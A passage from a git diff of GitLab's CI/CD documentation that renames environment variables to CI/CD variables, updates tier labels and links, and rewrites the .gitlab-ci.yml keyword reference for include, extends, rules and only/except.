[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyexcept-advanced) > - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules) @@ -676,7 +677,7 @@ when `except` is being used, a job is not created. This follows the usual rules for [`only` / `except` policies](../yaml/README.md#onlyexcept-advanced). -### Syntax of environment variable expressions +### Syntax of CI/CD variable expressions Below you can find supported syntax reference. @@ -777,7 +778,7 @@ so `&&` is evaluated before `||`. > - It's deployed behind a feature flag, enabled by default. > - It's enabled on GitLab.com. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(FREE SELF)** It is possible to use parentheses to group conditions. Parentheses have the highest precedence of all operators. Expressions enclosed in parentheses are evaluated first, @@ -793,7 +794,7 @@ Examples: - `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3` - `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)` -##### Enable or disable parenthesis support for variables **(CORE ONLY)** +##### Enable or disable parenthesis support for variables **(FREE SELF)** The feature is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) @@ -1076,7 +1077,7 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ## Video walkthrough of a working example -The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) video is a walkthrough of the [Complex Config Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments. +The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments. The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page. diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index 701fe33b53f..8d2df82a212 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -5,25 +5,25 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Predefined environment variables reference +# Predefined variables reference For an introduction on this subject, read through the -[getting started with environment variables](README.md) document. +[CI/CD variables](README.md) document. -Some of the predefined environment variables are available only if a minimum +Some of the predefined variables are available only if a minimum version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the version of GitLab Runner that's required. You can add a command to your `.gitlab-ci.yml` file to [output the values of all variables available for a job](README.md#list-all-environment-variables). -Kubernetes-specific environment variables are detailed in the +Kubernetes-specific variables are detailed in the [Kubernetes deployment variables](../../user/project/clusters/index.md#deployment-variables) section. | Variable | GitLab | Runner | Description | |-----------------------------------------------|--------|--------|-------------| -| `CHAT_CHANNEL` | 10.6 | all | Source chat channel which triggered the [ChatOps](../chatops/README.md) command. | -| `CHAT_INPUT` | 10.6 | all | Additional arguments passed in the [ChatOps](../chatops/README.md) command. | +| `CHAT_CHANNEL` | 10.6 | all | Source chat channel which triggered the [ChatOps](../chatops/index.md) command. | +| `CHAT_INPUT` | 10.6 | all | Additional arguments passed in the [ChatOps](../chatops/index.md) command. | | `CI` | all | 0.4 | Mark that job is executed in CI environment. | | `CI_API_V4_URL` | 11.7 | all | The GitLab API v4 root URL. | | `CI_BUILDS_DIR` | all | 11.10 | Top-level directory where builds are executed. | @@ -145,3 +145,4 @@ Kubernetes-specific environment variables are detailed in the | `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the job. | | `GITLAB_USER_LOGIN` | 10.0 | all | The login username of the user who started the job. | | `GITLAB_USER_NAME` | 10.0 | all | The real name of the user who started the job. | +| `TRIGGER_PAYLOAD` | 13.9 | all | This variable is available when a pipeline is [triggered with a webhook](../triggers/README.md#using-webhook-payload-in-the-triggered-pipeline) | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index e84714f2a46..d057fe9c4cc 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -124,7 +124,7 @@ They are: - Script execution shell. - Not supported: - For definitions where the ["Expansion place"](#gitlab-ciyml-file) is GitLab. - - In the `only` and `except` [variables expressions](README.md#environment-variables-expressions). + - In the `only` and `except` [variables expressions](README.md#cicd-variable-expressions). Some of the persisted variables contain tokens and cannot be used by some definitions due to security reasons. diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 19b8f0f1c89..2abfbd3a5b4 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -5,11 +5,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# GitLab CI/CD pipeline configuration reference +<!-- markdownlint-disable MD044 --> +<!-- vale gitlab.Spelling = NO --> +# Keyword reference for the .gitlab-ci.yml file +<!-- vale gitlab.Spelling = YES --> +<!-- markdownlint-enable MD044 --> This document lists the configuration options for your GitLab `.gitlab-ci.yml` file. -- For a quick introduction to GitLab CI/CD, follow the [quick start guide](../quick_start/README.md). +- For a quick introduction to GitLab CI/CD, follow the [quick start guide](../quick_start/index.md). - For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md). - To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). @@ -26,7 +30,7 @@ The keywords available for jobs are: |:---------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [`script`](#script) | Shell script that is executed by a runner. | | [`after_script`](#after_script) | Override a set of commands that are executed after job. | -| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. | +| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. | | [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. Also available: `artifacts:paths`, `artifacts:exclude`, `artifacts:expose_as`, `artifacts:name`, `artifacts:untracked`, `artifacts:when`, `artifacts:expire_in`, and `artifacts:reports`. | | [`before_script`](#before_script) | Override a set of commands that are executed before job. | | [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. | @@ -44,7 +48,7 @@ The keywords available for jobs are: | [`release`](#release) | Instructs the runner to generate a [Release](../../user/project/releases/index.md) object. | | [`resource_group`](#resource_group) | Limit job concurrency. | | [`retry`](#retry) | When and how many times a job can be auto-retried in case of a failure. | -| [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. May not be used alongside `only`/`except`. | +| [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. | | [`services`](#services) | Use Docker services images. Also available: `services:name`, `services:alias`, `services:entrypoint`, and `services:command`. | | [`stage`](#stage) | Defines a job stage (default: `test`). | | [`tags`](#tags) | List of tags that are used to select a runner. | @@ -55,8 +59,8 @@ The keywords available for jobs are: ### Unavailable names for jobs -Each job must have a unique name, but there are a few **reserved `keywords` that -can't be used as job names**: +Each job must have a unique name, but there are a few reserved `keywords` that +can't be used as job names: - `image` - `services` @@ -70,7 +74,7 @@ can't be used as job names**: ### Reserved keywords -If you get a validation error when using specific values (for example, `true` or `false`), try to: +If you get a validation error when you use specific values (for example, `true` or `false`), try to: - Quote them. - Change them to a different form. For example, `/bin/true`. @@ -223,7 +227,7 @@ stages: If any job fails, the pipeline is marked as `failed` and jobs in later stages do not start. Jobs in the current stage are not stopped and continue to run. -If no `stages` are defined in `.gitlab-ci.yml`, then `build`, `test` and `deploy` +If no `stages` are defined in the `.gitlab-ci.yml` file, then `build`, `test` and `deploy` are the default pipeline stages. If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage. @@ -339,10 +343,10 @@ include: > - Introduced in [GitLab Premium](https://about.gitlab.com/pricing/) 10.5. > - Available for Starter, Premium, and Ultimate in GitLab 10.6 and later. -> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Core in 11.4. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Free in 11.4. Use the `include` keyword to include external YAML files in your CI/CD configuration. -You can break down one long `gitlab-ci.yml` into multiple files to increase readability, +You can break down one long `gitlab-ci.yml` file into multiple files to increase readability, or reduce duplication of the same configuration in multiple places. You can also store template files in a central repository and `include` them in projects. @@ -363,33 +367,27 @@ use the [`extends` keyword](#extends). | [`remote`](#includeremote) | Include a file from a remote URL. Must be publicly accessible. | | [`template`](#includetemplate) | Include templates that are provided by GitLab. | -`.gitlab-ci.yml` configuration included by all methods is evaluated at pipeline creation. +The `.gitlab-ci.yml` file configuration included by all methods is evaluated when the pipeline is created. The configuration is a snapshot in time and persisted in the database. Any changes to -referenced `.gitlab-ci.yml` configuration is not reflected in GitLab until the next pipeline is created. +the referenced `.gitlab-ci.yml` file configuration is not reflected in GitLab until the next pipeline is created. The files defined by `include` are: -- Deep merged with those in `.gitlab-ci.yml`. -- Always evaluated first and merged with the content of `.gitlab-ci.yml`, +- Deep merged with those in the `.gitlab-ci.yml` file. +- Always evaluated first and merged with the content of the `.gitlab-ci.yml` file, regardless of the position of the `include` keyword. NOTE: Use merging to customize and override included CI/CD configurations with local -definitions. Local definitions in `.gitlab-ci.yml` override included definitions. +configurations. Local configurations in the `.gitlab-ci.yml` file override included configurations. -#### Variables with `include` +#### Variables with `include` **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/284883) in GitLab 13.8. -> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-includepredefined-project-variables). **(CORE ONLY)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/294294) in GitLab 13.9. You can [use some predefined variables in `include` sections](../variables/where_variables_can_be_used.md#gitlab-ciyml-file) -in your `.gitlab-ci.yml`: +in your `.gitlab-ci.yml` file: ```yaml include: @@ -398,35 +396,15 @@ include: ``` For an example of how you can include these predefined variables, and their impact on CI jobs, -see the following [CI variable demo](https://youtu.be/4XR8gw3Pkos). - -##### Enable or disable include:predefined-project-variables **(CORE ONLY)** - -Use of predefined project variables in `include` section of `.gitlab-ci.yml` is under development and not ready for production use. It is -deployed behind a feature flag that is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it. - -To enable it: - -```ruby -Feature.enable(:variables_in_include_section_ci) -``` - -To disable it: - -```ruby -Feature.disable(:variables_in_include_section_ci) -``` +see the following [CI/CD variable demo](https://youtu.be/4XR8gw3Pkos). #### `include:local` -`include:local` includes a file from the same repository as `.gitlab-ci.yml`. +`include:local` includes a file that is in the same repository as the `.gitlab-ci.yml` file. It's referenced with full paths relative to the root directory (`/`). -You can only use files that are tracked by Git on the same branch -your configuration file is on. If you `include:local`, make -sure that both `.gitlab-ci.yml` and the local file are on the same branch. +If you use `include:local`, make sure that both the `.gitlab-ci.yml` file and the local file +are on the same branch. You can't include local files through Git submodules paths. @@ -440,14 +418,14 @@ include: - local: '/templates/.gitlab-ci-template.yml' ``` -Local includes can be used as a replacement for symbolic links that are not followed. - This can be defined as a short local include: ```yaml include: '.gitlab-ci-production.yml' ``` +Use local includes instead of symbolic links. + #### `include:file` > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7. @@ -501,24 +479,23 @@ include: #### `include:remote` -`include:remote` can be used to include a file from a different location, -using HTTP/HTTPS, referenced by the full URL. The remote file must be -publicly accessible by a GET request, because authentication schemas -in the remote URL are not supported. For example: +Use `include:remote` with a full URL to include a file from a different location. +The remote file must be publicly accessible by an HTTP/HTTPS `GET` request, because +authentication in the remote URL is not supported. For example: ```yaml include: - - remote: 'https://gitlab.com/awesome-project/raw/master/.gitlab-ci-template.yml' + - remote: 'https://gitlab.com/example-project/-/raw/master/.gitlab-ci.yml' ``` -All [nested includes](#nested-includes) are executed without context as a public user, +All [nested includes](#nested-includes) execute without context as a public user, so you can only `include` public projects or templates. #### `include:template` > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53445) in GitLab 11.7. -`include:template` can be used to include `.gitlab-ci.yml` templates that are +Use `include:template` to include `.gitlab-ci.yml` templates that are [shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). For example: @@ -566,7 +543,7 @@ Used to specify [a Docker image](../docker/using_docker_images.md#what-is-an-ima For: - Usage examples, see [Define `image` and `services` from `.gitlab-ci.yml`](../docker/using_docker_images.md#define-image-and-services-from-gitlab-ciyml). -- Detailed usage information, refer to [Docker integration](../docker/README.md) documentation. +- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation. #### `image:name` @@ -587,8 +564,8 @@ Used to specify a [service Docker image](../docker/using_docker_images.md#what-i For: - Usage examples, see [Define `image` and `services` from `.gitlab-ci.yml`](../docker/using_docker_images.md#define-image-and-services-from-gitlab-ciyml). -- Detailed usage information, refer to [Docker integration](../docker/README.md) documentation. -- For example services, see [GitLab CI/CD Services](../services/README.md). +- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation. +- For example services, see [GitLab CI/CD Services](../services/index.md). ##### `services:name` @@ -677,7 +654,7 @@ job: #### `before_script` -`before_script` is used to define an array of commands that should run before each job, +Use `before_script` to define an array of commands that should run before each job, but after [artifacts](#artifacts) are restored. Scripts specified in `before_script` are concatenated with any scripts specified @@ -705,7 +682,7 @@ You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts). #### `after_script` -`after_script` is used to define an array of commands that run after each job, +Use `after_script` to define an array of commands that run after each job, including failed jobs. If a job times out or is cancelled, the `after_script` commands are not executed. @@ -756,7 +733,7 @@ You can use special syntax in [`script`](README.md#script) sections to: `stage` is defined per-job and relies on [`stages`](#stages), which is defined globally. Use `stage` to define which stage a job runs in, and jobs of the same -`stage` are executed in parallel (subject to [certain conditions](#using-your-own-runners)). For example: +`stage` are executed in parallel (subject to [certain conditions](#use-your-own-runners)). For example: ```yaml stages: @@ -789,7 +766,7 @@ job 5: script: make something useful at the end of pipeline ``` -#### Using your own runners +#### Use your own runners When you use your own runners, each runner runs only one job at a time by default. Jobs can run in parallel if they run on different runners. @@ -811,7 +788,7 @@ User-defined stages are executed after `.pre` and before `.post`. A pipeline is not created if all jobs are in `.pre` or `.post` stages. -The order of `.pre` and `.post` can't be changed, even if defined out of order in `.gitlab-ci.yml`. +The order of `.pre` and `.post` can't be changed, even if defined out of order in the `.gitlab-ci.yml` file. For example, the following are equivalent configuration: - Configured in order: @@ -846,11 +823,16 @@ For example, the following are equivalent configuration: > Introduced in GitLab 11.3. -`extends` defines entry names that a job that uses `extends` -inherits from. +Use `extends` to reuse configuration sections. It's an alternative to [YAML anchors](#anchors) +and is a little more flexible and readable. You can use `extends` to reuse configuration +from [included configuration files](#use-extends-and-include-together). + +In this example, the `rspec` job uses the configuration from the `.tests` template job. +GitLab: -It's an alternative to using [YAML anchors](#anchors) and is a little -more flexible and readable: +- Performs a reverse deep merge based on the keys. +- Merges the `.tests` content with the `rspec` job. +- Doesn't merge the values of the keys. ```yaml .tests: @@ -868,13 +850,7 @@ rspec: - $RSPEC ``` -In the example above, the `rspec` job inherits from the `.tests` template job. -GitLab performs a reverse deep merge based on the keys. GitLab: - -- Merges the `rspec` contents into `.tests` recursively. -- Doesn't merge the values of the keys. - -The result is this `rspec` job, where `script: rake test` is overwritten by `script: rake rspec`: +The result is this `rspec` job: ```yaml rspec: @@ -887,10 +863,8 @@ rspec: - $RSPEC ``` -If you do want to include the `rake test`, see [`before_script`](#before_script) or [`after_script`](#after_script). - `.tests` in this example is a [hidden job](#hide-jobs), but it's -possible to inherit from regular jobs as well. +possible to extend configuration from regular jobs as well. `extends` supports multi-level inheritance. You should avoid using more than three levels, but you can use as many as eleven. The following example has two levels of inheritance: @@ -979,51 +953,51 @@ rspec: Note that in the example above: -- `variables` sections have been merged but that `URL: "http://my-url.internal"` -has been overwritten by `URL: "http://docker-url.internal"`. -- `tags: ['production']` has been overwritten by `tags: ['docker']`. -- `script` has not been merged but rather `script: ['echo "Hello world!"']` has - been overwritten by `script: ['rake rspec']`. Arrays can be - merged using [YAML anchors](#anchors). +- The `variables` sections merge, but `URL: "http://docker-url.internal"` overwrites `URL: "http://my-url.internal"`. +- `tags: ['docker']` overwrites `tags: ['production']`. +- `script` does not merge, but `script: ['rake rspec']` overwrites + `script: ['echo "Hello world!"']`. You can use [YAML anchors](#anchors) to merge arrays. -#### Using `extends` and `include` together +#### Use `extends` and `include` together -`extends` works across configuration files combined with `include`. +To reuse configuration from different configuration files, +combine `extends` and [`include`](#include). -For example, if you have a local `included.yml` file: +In this example, a `script` is defined in the `included.yml` file. +Then, in the `.gitlab-ci.yml` file, you use `extends` to refer +to the contents of the `script`: -```yaml -.template: - script: - - echo Hello! -``` +- `included.yml`: -Then, in `.gitlab-ci.yml`: + ```yaml + .template: + script: + - echo Hello! + ``` -```yaml -include: included.yml +- `.gitlab-ci.yml`: -useTemplate: - image: alpine - extends: .template -``` + ```yaml + include: included.yml -This example runs a job called `useTemplate` that runs `echo Hello!` as defined in -the `.template` job, and uses the `alpine` Docker image as defined in the local job. + useTemplate: + image: alpine + extends: .template + ``` ### `rules` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3. -The `rules` keyword can be used to include or exclude jobs in pipelines. +Use the `rules` keyword to include or exclude jobs in pipelines. Rules are evaluated *in order* until the first match. When matched, the job is either included or excluded from the pipeline, depending on the configuration. If included, the job also has [certain attributes](#rules-attributes) added to it. -`rules` replaces [`only/except`](#onlyexcept-basic) and can't be used in conjunction with it. -If you attempt to use both keywords in the same job, the linter returns a +`rules` replaces [`only/except`](#onlyexcept-basic) and they can't be used together +in the same job. If you configure one job to use both keywords, the linter returns a `key may not be used with rules` error. #### Rules attributes @@ -1078,7 +1052,7 @@ The job is not added to the pipeline: `when: always`. - If a rule matches, and has `when: never` as the attribute. -For example, using `if` clauses to strictly limit when jobs run: +This example uses `if` to strictly limit when jobs run: ```yaml job: @@ -1090,8 +1064,6 @@ job: - if: '$CI_PIPELINE_SOURCE == "schedule"' ``` -In this example: - - If the pipeline is for a merge request, the first rule matches, and the job is added to the [merge request pipeline](../merge_request_pipelines/index.md) with attributes of: @@ -1165,7 +1137,7 @@ There are multiple ways to avoid duplicate pipelines: or push (branch) pipelines only. - Rewrite the rules to run the job only in very specific cases, - and avoid using a final `when:` rule: + and avoid a final `when:` rule: ```yaml job: @@ -1240,13 +1212,13 @@ or excluded from a pipeline. In plain English, `if` rules can be interpreted as `rules:if` differs slightly from `only:variables` by accepting only a single expression string per rule, rather than an array of them. Any set of expressions to be evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction) -by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-environment-variable-expressions). +by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-cicd-variable-expressions). -Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts) +Unlike variables in [`script`](../variables/README.md#syntax-of-cicd-variables-in-job-scripts) sections, variables in rules expressions are always formatted as `$VARIABLE`. -`if:` clauses are evaluated based on the values of [predefined environment variables](../variables/predefined_variables.md) -or [custom environment variables](../variables/README.md#custom-environment-variables). +`if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md) +or [custom CI/CD variables](../variables/README.md#custom-cicd-variables). For example: @@ -1281,8 +1253,8 @@ check the value of the `$CI_PIPELINE_SOURCE` variable: | Value | Description | |-------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). | -| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/README.md) command. | -| `external` | When using CI services other than GitLab. | +| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. | +| `external` | When you use CI services other than GitLab. | | `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | | `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | | `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | @@ -1331,7 +1303,7 @@ Other commonly used variables for `if` clauses: branch (usually `master`). Use when you want to have the same configuration in multiple projects with different default branches. - `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. -- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-environment-variables) +- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables) `CUSTOM_VARIABLE` does **not** match a regular expression. - `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is exactly `value1`. @@ -1387,7 +1359,7 @@ if there is no `if:` statement that limits the job to branch or merge request pi > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7. -Environment variables can be used in `rules:changes` expressions to determine when +CI/CD variables can be used in `rules:changes` expressions to determine when to add jobs to a pipeline: ```yaml @@ -1400,7 +1372,7 @@ docker build: - $DOCKERFILES_DIR/* ``` -The `$` character can be used for both variables and paths. For example, if the +You can use The `$` character for both variables and paths. For example, if the `$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the `$` is interpreted as being part of a path. @@ -1409,7 +1381,9 @@ The `$` character can be used for both variables and paths. For example, if the > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4. `exists` accepts an array of paths and matches if any of these paths exist -as files in the repository: +as files in the repository. + +In this example, `job` runs if a `Dockerfile` exists anywhere in the repository: ```yaml job: @@ -1419,7 +1393,9 @@ job: - Dockerfile ``` -You can also use glob patterns to match multiple files in any directory in the repository: +Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly link outside it. + +You can use glob patterns to match multiple files in any directory in the repository: ```yaml job: @@ -1429,15 +1405,17 @@ job: - spec/**.rb ``` -For performance reasons, using `exists` with patterns is limited to 10,000 -checks. After the 10,000th check, rules with patterned globs always match. +Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch) +with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`. + +For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns. After the 10,000th check, rules with patterned globs always match. #### `rules:allow_failure` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8. You can use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail, or a manual job to -wait for action, without stopping the pipeline itself. All jobs using `rules:` default to `allow_failure: false` +wait for action, without stopping the pipeline itself. All jobs that use `rules:` default to `allow_failure: false` if `allow_failure:` is not defined. The rule-level `rules:allow_failure` option overrides the job-level @@ -1462,7 +1440,7 @@ In this example, if the first rule matches, then the job has `when: manual` and > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/289803) on GitLab 13.8. > - It's enabled on GitLab.com. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-rulesvariables). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-rulesvariables). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -1487,7 +1465,7 @@ job: - echo "Run another script if $IS_A_FEATURE exists" ``` -##### Enable or disable rules:variables **(CORE ONLY)** +##### Enable or disable rules:variables **(FREE SELF)** rules:variables is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. @@ -1553,12 +1531,10 @@ rules that use both `||` and `&&` may evaluate with an unexpected order of opera ### `only`/`except` (basic) NOTE: -The [`rules`](#rules) syntax is an improved, more powerful solution for defining -when jobs should run or not. Consider using `rules` instead of `only/except` to get -the most out of your pipelines. +`only` and `except` are not being actively developed. To define when +to add jobs to pipelines, use [`rules`](#rules). -`only` and `except` are two keywords that set a job policy to limit when -jobs are created: +`only` and `except` are two keywords that determine when to add jobs to pipelines: 1. `only` defines the names of branches and tags the job runs for. 1. `except` defines the names of branches and tags the job does @@ -1577,8 +1553,8 @@ In addition, `only` and `except` can use special keywords: |--------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). | | `branches` | When the Git reference for a pipeline is a branch. | -| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/README.md) command. | -| `external` | When using CI services other than GitLab. | +| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. | +| `external` | When you use CI services other than GitLab. | | `external_pull_requests` | When an external pull request on GitHub is created or updated (See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests)). | | `merge_requests` | For pipelines created when a merge request is created or updated. Enables [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | | `pipelines` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. | @@ -1630,7 +1606,7 @@ job: - schedules ``` -The repository path can be used to have jobs executed only for the parent +Use the repository path to have jobs executed only for the parent repository and not forks: ```yaml @@ -1648,17 +1624,13 @@ except `master` and those with names prefixed with `release/`. If a job does not have an `only` rule, `only: ['branches', 'tags']` is set by default. If it does not have an `except` rule, it's empty. -For example, +For example, `job1` and `job2` are essentially the same: ```yaml -job: +job1: script: echo 'test' -``` - -is translated to: -```yaml -job: +job2: script: echo 'test' only: ['branches', 'tags'] ``` @@ -1728,7 +1700,7 @@ the pipeline if the following is true: In the example below, the `test` job is `only` created when **all** of the following are true: -- The pipeline has been [scheduled](../pipelines/schedules.md) **or** runs for `master`. +- The pipeline is [scheduled](../pipelines/schedules.md) **or** runs for `master`. - The `variables` keyword matches. - The `kubernetes` service is active on the project. @@ -1805,7 +1777,7 @@ The `variables` keyword defines variable expressions. These expressions determine whether or not a job should be created. -Examples of using variable expressions: +Examples of variable expressions: ```yaml deploy: @@ -1844,15 +1816,14 @@ job1: > `changes` policy [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19232) in GitLab 11.4. -Using the `changes` keyword with `only` or `except` makes it possible to define if -a job should be created based on files modified by a Git push event. +Use the `changes` keyword with `only` to run a job, or with `except` to skip a job, +when a Git push event modifies a file. -Use the `only:changes` policy for pipelines triggered by the following -refs only: +Use `only:changes` with pipelines triggered by the following refs only: - `branches` - `external_pull_requests` -- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](#using-onlychanges-with-pipelines-for-merge-requests)) +- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](#use-onlychanges-with-pipelines-for-merge-requests)) WARNING: In pipelines with [sources other than the three above](../variables/predefined_variables.md) @@ -1860,7 +1831,13 @@ In pipelines with [sources other than the three above](../variables/predefined_v You can configure jobs to use `only: changes` with other `only: refs` keywords. However, those jobs ignore the changes and always run. -A basic example of using `only: changes`: +In this example, when you push commits to an existing branch, the `docker build` job +runs only if any of these files change: + +- The `Dockerfile` file. +- Files in the `docker/scripts/` directory. +- Files and subdirectories in the `dockerfiles` directory. +- Files with `rb`, `py`, `sh` extensions in the `more_scripts` directory. ```yaml docker build: @@ -1875,21 +1852,13 @@ docker build: - more_scripts/*.{rb,py,sh} ``` -When you push commits to an existing branch, -the `docker build` job is created, but only if changes were made to any of the following: - -- The `Dockerfile` file. -- Any of the files in the `docker/scripts/` directory. -- Any of the files and subdirectories in the `dockerfiles` directory. -- Any of the files with `rb`, `py`, `sh` extensions in the `more_scripts` directory. - WARNING: If you use `only:changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds), -you should [also use `only:merge_requests`](#using-onlychanges-with-pipelines-for-merge-requests). Otherwise it may not work as expected. +you should [also use `only:merge_requests`](#use-onlychanges-with-pipelines-for-merge-requests). Otherwise it may not work as expected. You can also use glob patterns to match multiple files in either the root directory of the repository, or in _any_ directory in the repository. However, they must 